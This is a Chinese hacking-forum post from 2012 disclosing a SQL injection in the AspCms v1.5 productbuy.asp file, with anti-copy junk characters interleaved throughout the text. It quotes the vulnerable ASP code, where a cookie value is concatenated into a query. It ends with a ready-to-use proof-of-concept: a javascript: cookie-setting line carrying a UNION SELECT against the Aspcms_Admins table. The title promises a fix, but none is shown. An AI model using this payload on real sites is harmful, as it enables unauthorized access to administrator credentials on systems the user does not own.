找回密码
 立即注册
查看: 2907|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....
- [* Y* ]0 J& V7 L也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。9 x( I& u; l' [$ W2 {% ]
废话不多说,看代码:
* l& M% K5 \) L$ f/ C# P& p& B3 ^. B) Z
<%
  ^/ i1 q2 }$ V8 c* F6 u7 l& k* X: Y
if action = "buy" then% n$ h' Y1 p! u6 R' G: w- V

$ W' M% u2 S; }% `5 _        addOrder()( V0 f" ]/ J% Y) q

& P3 u  ]$ |) R1 Y" Q$ b- Ielse7 K- L& V1 x" G

3 U( i7 @( K1 |% L' h' G9 @        echoContent()/ R1 f" |0 I4 ~- l" Y- J- c6 |

, U$ m, B# n- r2 \; |end if6 Y$ ?; u# j3 `+ j' r
2 y1 o' v* G( {  n3 l% W

0 O5 }. R, H0 g6 @. c( E4 P# k; p/ K# G9 r* M% d1 X" B
……略过
: J6 S1 l" u) B5 j; [- [3 G* `5 v1 c, v' D" Z

% q# z# P2 H. X6 H( X
2 v- p0 V7 L! D+ `$ nSub echoContent()
3 Q: d) |7 v) l& O% w# f" [  L. t' ]1 S4 n; X6 i! f& o* R
        dim id9 t/ b5 O, S- I7 n9 B0 n' S6 ?4 K6 e- `

' l: x9 o! E. A* o, A& Q$ G/ M        id=getForm("id","get")
$ e7 f5 ]' T& f+ V# e9 F& ~5 I. @( @; r4 x
        
/ x$ `1 {  {* k' o) F4 P& T
# y7 w& y8 ], W* q( R" S/ P# }2 ?        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
$ M4 ]# V) L9 Q) M5 D! F+ O7 X  l& Q, n
        
. R$ ^( v/ l) P9 l- ]: n- D# C8 k3 E% R/ I! E0 F# X9 X" P+ ^
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
, e! H6 V& Z" w  m9 t, o6 N: s
& B- p/ ?/ ?, s1 U+ Q7 L  |        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct  ~2 p: H+ D  l: g( d! f$ v4 N
3 z' m) a2 M& j6 D  i
        Dim templatePath,tempStr
# s4 J) V0 \! T8 X: l  j( H9 P1 v) P5 }; v. U1 v, z4 y7 H6 E8 o, d
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
9 q$ a) Z- d/ Y, g- Q
" l5 ]8 }0 U+ ~, Y
0 P, M2 l- y6 V
2 y+ z( D8 O3 x! r        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1"): D" l9 e, J9 A7 s
* T- g2 g, H" X$ {7 X  ?' ~4 G
        selectproduct=rsObj(0)
8 ]3 g5 U3 Z) ~9 ~. g$ P9 g, I3 C) X" t3 z" g0 @
        
% b7 U1 w2 r$ U  v( V; _7 w" V) ^) u& d6 `' Y
        Dim linkman,gender,phone,mobile,email,qq,address,postcode' u: K/ X, ^. G

6 O$ {+ Q+ G/ Q/ C; [" g7 I' K& h        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",05 y" B1 B+ ]% I) V6 ~4 }

8 P" Q5 r: x$ ~        if rCookie("loginstatus")=1 then  
$ M' T6 h' e: R& b
; p. G5 b* r- u" W+ v+ G# }                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
' T/ E) s( M4 z0 j; a# m4 T4 ~- M; B: L3 M4 X& g  Y# L/ k
                linkman=rsObj("truename")
. Z, u1 Z. @5 m, m$ ]" I
/ v# X4 }6 K! _9 |4 K9 _                gender=rsObj("gender")  D* e/ l/ N! p3 c2 l/ {" P

9 X, o& q2 ^4 a" b& k! Q                phone=rsObj("phone")
' y* P+ r; b0 ]5 R3 v8 |8 Z1 s8 ?
$ N  ?/ a( W7 S0 ~- J5 ^                mobile=rsObj("mobile")
$ P$ i  d; E. }
; S8 o" Z- l  }2 f; S+ n! {                email=rsObj("email")
6 d9 i) W9 Q( x- Z
! K& }/ U% G: f4 E; N2 A! a                qq=rsObj("qq")
9 S. n9 l7 V0 \) D% b# k/ c8 S; E1 z" N* Z3 k/ C6 ?: O
                address=rsObj("address")  E9 B- f8 R. h, R) z  I  y. Q
( {4 h' [. ~& a' X) _+ {
                postcode=rsObj("postcode")
  E7 S4 j5 \1 ]) i! r& x
0 M/ S, c, x  R- l- \        else
0 y" ]5 e/ k$ }  o6 f. w$ [7 |+ D8 |+ T. _4 g# i2 F" @9 k6 ?( e
                gender=19 H" c- T( i& w
0 ~! x* L4 M- {- o3 W  q* d
        end if2 x3 `7 o7 g1 a* X. m' u
& ]$ [: I* }# |1 B) M
        rsObj.close()( }$ N% g6 b; F/ v4 R9 s

4 U; b7 I) d0 R! I+ c8 W7 O* Y               
: `- S: V# m% I4 v5 O2 a% \! y. T4 u8 z# b
        with templateObj
5 a$ E0 y5 ?( f8 ^# I$ }* A: e5 A5 ^; X$ ^. C
                .content=loadFile(templatePath)        
0 v* K! f; U  N+ N  I/ q9 w# H/ d% O) ^( Q" l/ S
                .parseHtml()
) [- y; i6 P0 p# n+ c9 t5 |
; s2 a' f" t8 x8 t! ]' ]6 B3 {                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
9 R" C+ g* v" T1 v4 y1 b5 g
6 D7 f3 K5 i3 T, r8 f) d6 i                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
/ ~! J" V8 W& V$ G4 N3 u
& h, |+ {5 p7 f, |  I# V                .content=replaceStr(.content,"[aspcms:gender]",gender)               
2 A  o/ C$ X& D5 l- L# K  Z$ t2 i( V9 v% \) R
                .content=replaceStr(.content,"[aspcms:phone]",phone)               
$ l- d# R6 L. k& o9 u; A% Q. \+ g# C5 [: q
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
$ f( ~0 e4 Z- u) S# |. J+ {2 g  p5 f, h1 q
                .content=replaceStr(.content,"[aspcms:email]",email)                        
3 d, x) U9 B2 [$ n% h% t; v  c& x' u% v) G1 [9 ^6 Q0 ~$ @
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
) G: ?' \  o1 {5 Q0 i
- B, n% A" J: t+ \2 w                .content=replaceStr(.content,"[aspcms:address]",address)                        
) I# `3 x6 R2 q" K3 H. s3 i$ ^5 ]) `/ q" A
+ h/ L2 l0 I& x                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
& u1 V# t. U% R  C9 s- W8 W) O. v1 R) Q3 v0 C# ]  l# C# B
                .parseCommon()                 # Z( P* v7 O4 r2 J( ^: M
1 E% O( n5 a( ]5 S6 X
                echo .content
/ O  y" w, a9 [7 I( e6 m/ M! N; `5 n  p; K# ]2 B3 G& K" v9 c7 z+ F
        end with* e6 U1 b6 x3 f( R0 {

0 a0 z" Z) G# p        set templateobj =nothing : terminateAllObjects
+ w% h& x4 ~' X" p- J% ]+ b& ?- l
6 H1 V; t. R) O2 _4 Y& ?- m1 cEnd Sub
. @0 [" r) o: A7 R, ?) l, I漏洞很明显,没啥好说的
. S* R  d) a+ R: }% H+ d: ]poc:& f+ N: o: q: d: y7 n: [

- A/ S% s8 c9 F$ `, E- G9 x1 yjavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​8 w- N5 g4 f  S2 ^

) `0 n; G- h0 s. Z( i
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表